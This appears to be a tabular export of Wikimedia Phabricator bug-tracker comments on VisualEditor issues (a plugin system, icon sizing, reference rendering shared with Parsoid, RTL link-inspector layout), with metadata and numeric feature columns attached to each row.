243758,Complete and document VisualEditor's integration and plugin system,"At this point, closing this bug is blocked on some reasonable documentation being available. Third parties that want to try to implement things and report what's missing functionality (or more likely, unclear because there's no documentation) would be very welcome. :-)",,,1387398780,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-eqiuslxuu3t7bxl7vmwb,task_subcomment,,True,c1,3,True,,,24,,2.0,0.0,2.0,2.0,0.0,12.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,10.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,8.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,0.0,2.0,0.0,2.0,0.0,8.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,6.0,4.0,2.0,4.0,8.0,0.0,2.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,2.0,0.0,0.0,4.673469387755102,0.8775510204081632,"At this point, closing this bug is blocked on some reasonable documentation being available. Third parties that want to try to implement things and report what's missing functionality (or more likely, unclear because there's no documentation) would be very welcome. :-)"
243752,Complete and document VisualEditor's integration and plugin system,"Change 75271 merged by jenkins-bot:
Infrastructure for loading plugins in the MW integration

https://gerrit.wikimedia.org/r/75271",,,1374867310,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-eqiuslxuu3t7bxl7vmwb,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,21.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,16.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.894736842105263,1.0,"Change 75271 merged by jenkins-bot:
Infrastructure for loading plugins in the MW integration

GERRIT_URL"
243744,Complete and document VisualEditor's integration and plugin system,"Change 75271 had a related patch set uploaded by Catrope:
Infrastructure for loading plugins in the MW integration

https://gerrit.wikimedia.org/r/75271",,,1374549781,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-eqiuslxuu3t7bxl7vmwb,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,23.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,14.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,5.0,1.0,"Change 75271 had a related patch set uploaded by Catrope:
Infrastructure for loading plugins in the MW integration

GERRIT_URL"
52508,VisualEditor: Close icon shown at 2x size and so truncated,"Screenshot

See screenshot - monobook, windows 7, firefox 22.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11469}",Medium,50.0,1372699920,1377830355.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-potyqd62zizy6tkvf2ak,task_description,declined,True,c1,3,False,False,True,0,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6341463414634148,0.5853658536585366,"Screenshot

See screenshot - monobook, windows 7, firefox 22.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11469}"
243405,VisualEditor: Close icon shown at 2x size and so truncated,"I'm going to close this as a one-off appearance of HiDPI icons for a user - if it's repeated, please re-open.",,,1377830355,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-potyqd62zizy6tkvf2ak,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,24.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,3.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,3.0,3.0,0.0,7.0,24.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,3.0689655172413794,0.896551724137931,"I'm going to close this as a one-off appearance of HiDPI icons for a user - if it's repeated, please re-open."
52505,VisualEditor: Share ref / references re-rendering code with Parsoid,">>! In T52505#562403, @GWicke wrote:
> We have a relatively complete DOM-based references rendering implementation in Parsoid that could be reused by VisualEditor. This would avoid us implementing two versions of essentially the same code, and with combined effort should result in a better implementation.

--------------------------

**See Also**:
{T52474}",Medium,50.0,1372698960,1578935420.0,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-ag2p4jtrgjagpo2qegcu,task_description,invalid,True,c1,3,True,False,False,0,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6470588235294117,0.6470588235294118,"QUOTE
QUOTE

--------------------------

**See Also**:
{T52474}"
1424138,VisualEditor: Share ref / references re-rendering code with Parsoid,">>! In T52505#5795834, @Izno wrote:
> Is this exact task still going to happen given PHP Parsoid? (One system being Javascript and the other PHP now.)

Sadly, no.",,,1578935420,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ag2p4jtrgjagpo2qegcu,task_subcomment,,True,c1,3,True,,,341,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.75,0.875,"QUOTE
QUOTE

Sadly, no."
1423582,VisualEditor: Share ref / references re-rendering code with Parsoid,Is this exact task still going to happen given PHP Parsoid? (One system being Javascript and the other PHP now.),,,1578869465,,PHID-USER-yawytiq5q7eduxmvnkid,False,,,PHID-TASK-ag2p4jtrgjagpo2qegcu,task_subcomment,,True,c1,3,False,,,340,,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,25.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,17.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.875,0.9583333333333334,Is this exact task still going to happen given PHP Parsoid? (One system being Javascript and the other PHP now.)
243298,VisualEditor: Share ref / references re-rendering code with Parsoid,"Indeed, basically the logic we currently have (or call from) ve.ce.MWReferenceListNode and ve.ce.MWReferenceNode. Converting data-mw into a the dom as it should be given to the browser (html tag name, class name, children composition and attributes etc.). And for ref nodes the sequence between different ones as well. Though VE may have to run the logic more often (where parsoid presumably only runs it once per document) it'd be nice to share this logic.

The HTML rendered by MediaWiki extension tags and/or parser functions should not be hardcoded in VE. Perhaps in a VE plugin, but since it'd be the same for Parsoid as for VE, it'd be nice if this can be shared so that a MediaWiki extension that wants to have logic for Parsoid/VE only needs 1 type of plugin that both can use.",,,1372712317,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ag2p4jtrgjagpo2qegcu,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,1.5,0.5,3.0,2.0,0.0,0.5,0.5,3.0,2.0,0.0,1.0,0.0,0.5,0.5,7.5,13.5,0.0,1.5,1.0,1.0,0.0,0.0,1.0,0.0,0.0,1.5,2.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,3.0,0.0,1.0,0.5,0.5,0.0,13.5,0.5,1.0,0.0,0.5,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,5.5,3.5,10.0,4.0,3.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.5,0.0,3.5,13.5,7.5,0.0,0.0,0.0,3.5,0.0,1.0,1.5,0.0,0.5,0.5,0.0,0.5,3.9216867469879517,0.6927710843373494,"Indeed, basically the logic we currently have (or call from) ve.ce.MWReferenceListNode and ve.ce.MWReferenceNode. Converting data-mw into a the dom as it should be given to the browser (html tag name, class name, children composition and attributes etc.). And for ref nodes the sequence between different ones as well. Though VE may have to run the logic more often (where parsoid presumably only runs it once per document) it'd be nice to share this logic.

The HTML rendered by MediaWiki extension tags and/or parser functions should not be hardcoded in VE. Perhaps in a VE plugin, but since it'd be the same for Parsoid as for VE, it'd be nice if this can be shared so that a MediaWiki extension that wants to have logic for Parsoid/VE only needs 1 type of plugin that both can use."
243291,VisualEditor: Share ref / references re-rendering code with Parsoid,I would not recommend to hack something around the numbering we give you. We should rather share the ref / references rendering code so that you can simply call that code to fully renumber refs and re-render the references blocks.,,,1372711488,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-ag2p4jtrgjagpo2qegcu,task_subcomment,,True,c1,3,True,,,0,,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,9.0,14.0,2.0,5.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,2.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,7.0,0.0,5.0,5.0,2.0,9.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,11.0,14.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.340909090909091,0.8181818181818182,I would not recommend to hack something around the numbering we give you. We should rather share the ref / references rendering code so that you can simply call that code to fully renumber refs and re-render the references blocks.
243285,VisualEditor: Share ref / references re-rendering code with Parsoid,"Parsoid gives us a DOM with references already numbered, so we probably want to use their numbering and reference list as a base, then update that as required.",,,1372700082,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-ag2p4jtrgjagpo2qegcu,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,10.0,19.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,6.0,3.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,10.0,19.0,3.0,0.0,0.0,0.0,10.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,4.258064516129032,0.9032258064516129,"Parsoid gives us a DOM with references already numbered, so we probably want to use their numbering and reference list as a base, then update that as required."
243276,VisualEditor: Share ref / references re-rendering code with Parsoid,"Possibly also relevant for bug 50474, in case that turns out to be hard to fix in your current implementation.",,,1372699315,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-ag2p4jtrgjagpo2qegcu,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,27.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,5.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,5.0,27.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,4.136363636363637,0.9090909090909091,"Possibly also relevant for bug 50474, in case that turns out to be hard to fix in your current implementation."
243268,VisualEditor: Share ref / references re-rendering code with Parsoid,"Sorry, somehow managed to hit return.

We have a relatively complete DOM-based references rendering implementation in Parsoid that could be reused by VisualEditor. This would avoid us implementing two versions of essentially the same code, and with combined effort should result in a better implementation.",,,1372699118,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-ag2p4jtrgjagpo2qegcu,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,2.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,2.0,6.0,11.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,11.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,8.0,2.0,2.0,0.0,4.0,11.0,6.0,0.0,0.0,0.0,4.0,0.0,2.0,4.0,2.0,4.0,2.0,0.0,0.0,4.962264150943396,0.8867924528301887,"Sorry, somehow managed to hit return.

We have a relatively complete DOM-based references rendering implementation in Parsoid that could be reused by VisualEditor. This would avoid us implementing two versions of essentially the same code, and with combined effort should result in a better implementation."
52490,VisualEditor: Link input widget is not oriented for RTL,"A very simple mockup that I made in GIMP to show how it is supposed to look

VisualEditor: Link inspector is not oriented for RTL.

The arrow icon is supposed to point to the right, and be placed in the right corner, separated by a vertical line.

The title is supposed to be aligned to the right.

The chain icon is supposed to be next to the title on its left side.

The trash bin is supposed to be in the left corner.

See the attached file for a very simple mock-up of how it is supposed to look (it is off by a few pixels here and there - I'm not much of a graphic designer).

This bug is similar to bug 49613.

--------------------------
**Version**: unspecified
**Severity**: normal

//attachment link-inspector-rtl.png ignored as obsolete//",Medium,50.0,1372670160,1374495347.0,PHID-USER-xfe43w2lb5gpvglf4coa,False,,False,PHID-TASK-rou7bduh6enhafdxh2lv,task_description,resolved,True,c1,3,False,False,True,0,,1.0,0.0,1.0,4.5,1.0,7.0,2.5,0.0,0.0,0.0,2.0,0.5,0.0,0.0,0.0,1.0,0.0,5.0,12.5,0.0,3.5,0.0,0.0,0.5,1.0,0.5,0.0,0.0,0.0,0.0,0.0,5.5,4.5,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.5,0.0,0.0,14.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.5,8.0,7.0,8.0,1.0,1.0,8.5,0.0,0.0,0.0,0.0,5.0,0.0,0.5,0.0,3.5,12.5,2.0,0.0,0.0,0.0,3.5,0.0,1.5,3.0,0.0,0.0,0.0,0.0,0.0,3.682352941176471,0.6352941176470588,"A very simple mockup that I made in GIMP to show how it is supposed to look

VisualEditor: Link inspector is not oriented for RTL.

The arrow icon is supposed to point to the right, and be placed in the right corner, separated by a vertical line.

The title is supposed to be aligned to the right.

The chain icon is supposed to be next to the title on its left side.

The trash bin is supposed to be in the left corner.

See the attached file for a very simple mock-up of how it is supposed to look (it is off by a few pixels here and there - I'm not much of a graphic designer).

This bug is similar to bug 49613.

--------------------------
**Version**: unspecified
**Severity**: normal

//attachment link-inspector-rtl.png ignored as obsolete//"
242468,VisualEditor: Link input widget is not oriented for RTL,The current layout is good. There's a mistake in my image. Marking as FIXED.,,,1374495347,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-rou7bduh6enhafdxh2lv,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,11.0,6.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,6.0,22.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,3.5,0.8888888888888888,The current layout is good. There's a mistake in my image. Marking as FIXED.
242463,VisualEditor: Link input widget is not oriented for RTL,"En layout is currently:

< (chain icon) 'Hyperlink'    (trash icon)

He layout is currently:

(trash icon)     '(Hyperlink in Hebrew)' (chain icon) >

This is not quite Amir's design attached:

(trash icon)     (chain icon) '(Hyperlink in Hebrew)' >",,,1374445202,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-rou7bduh6enhafdxh2lv,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,13.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,8.0,0.0,8.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0704225352112675,0.38028169014084506,"En layout is currently:

< (chain icon) 'Hyperlink'    (trash icon)

He layout is currently:

(trash icon)     '(Hyperlink in Hebrew)' (chain icon) >

This is not quite Amir's design attached:

(trash icon)     (chain icon) '(Hyperlink in Hebrew)' >"
242457,VisualEditor: Link input widget is not oriented for RTL,"Change 72056 abandoned by Mooeypoo:
Layout fix for Link Surface in RTL

Reason:
This was fixed in another (much more massive) gerrit fix that was merged. Works in master.

https://gerrit.wikimedia.org/r/72056",,,1373483413,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rou7bduh6enhafdxh2lv,task_subcomment,,True,c1,3,False,,,1,,2.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,12.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,12.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,25.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,12.0,15.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,3.925,0.8,"Change 72056 abandoned by Mooeypoo:
Layout fix for Link Surface in RTL

Reason:
This was fixed in another (much more massive) gerrit fix that was merged. Works in master.

GERRIT_URL"
242450,VisualEditor: Link input widget is not oriented for RTL,"Change 72056 had a related patch set uploaded by Mooeypoo:
Layout fix for Link Surface in RTL

https://gerrit.wikimedia.org/r/72056",,,1372981428,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rou7bduh6enhafdxh2lv,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,33.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,14.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.285714285714286,1.0,"Change 72056 had a related patch set uploaded by Mooeypoo:
Layout fix for Link Surface in RTL

GERRIT_URL"
242444,VisualEditor: Link input widget is not oriented for RTL,"This depends on the Frame rtl fix, which will add directionality inside frames, and allow for conditional flips (and/or also allow CSSJanus to eventually work inside the frames)

I took a look at the code, the flip itself is relatively easy, but I am missing the ve-rtl/ve-ltr classes that would be there after the frame fix.",,,1372741169,,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,,PHID-TASK-rou7bduh6enhafdxh2lv,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,10.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,3.0,0.0,6.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,21.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,10.0,4.0,7.0,0.0,4.0,13.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.0,10.0,3.0,0.0,0.0,0.0,4.0,0.0,3.0,1.0,1.0,1.0,0.0,0.0,0.0,3.8714285714285714,0.7714285714285715,"This depends on the Frame rtl fix, which will add directionality inside frames, and allow for conditional flips (and/or also allow CSSJanus to eventually work inside the frames)

I took a look at the code, the flip itself is relatively easy, but I am missing the ve-rtl/ve-ltr classes that would be there after the frame fix."
242438,VisualEditor: Link input widget is not oriented for RTL,"Created attachment 12713
A simple mockup that I made in GIMP to show how it is supposed to look

The V icon in the menu is supposed to be moved to the right side, too.

Updated screenshot.

**Attached**: {F11431}",,,1372670380,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-rou7bduh6enhafdxh2lv,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,6.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,11.0,0.0,6.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,8.0,6.0,17.0,2.0,0.0,8.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,4.0,11.0,2.0,0.0,0.0,0.0,4.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,3.358490566037736,0.7547169811320755,"Created attachment 12713
A simple mockup that I made in GIMP to show how it is supposed to look

The V icon in the menu is supposed to be moved to the right side, too.

Updated screenshot.

**Attached**: {F11431}"
52481,"VisualEditor: <u><u> created, and meta-data removed, from [[Bahá'u'lláh]] on edit","https://en.wikipedia.org/w/index.php?title=Bah%C3%A1%27u%27ll%C3%A1h&diff=562302216&oldid=561967071 - finding out browser/OS now.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1372631880,,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-7n67l5aimznnhmya4iwf,task_description,open,True,c1,2,False,False,,-1,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.7037037037037037,0.6666666666666666,"URL - finding out browser/OS now.

--------------------------
**Version**: unspecified
**Severity**: normal"
241956,"VisualEditor: <u><u> created, and meta-data removed, from [[Bahá'u'lláh]] on edit","Do we know how this was caused, how to reproduce the issue, if VE was even responsible for it (rather than Parsoid), or if it's since been fixed?",,,1416189671,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-7n67l5aimznnhmya4iwf,task_subcomment,,True,c1,3,True,,,72,,0.0,0.0,0.0,6.0,0.0,3.0,3.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,11.0,17.0,0.0,3.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,9.0,9.0,14.0,3.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,9.0,17.0,6.0,3.0,0.0,0.0,9.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3714285714285714,0.8285714285714286,"Do we know how this was caused, how to reproduce the issue, if VE was even responsible for it (rather than Parsoid), or if it's since been fixed?"
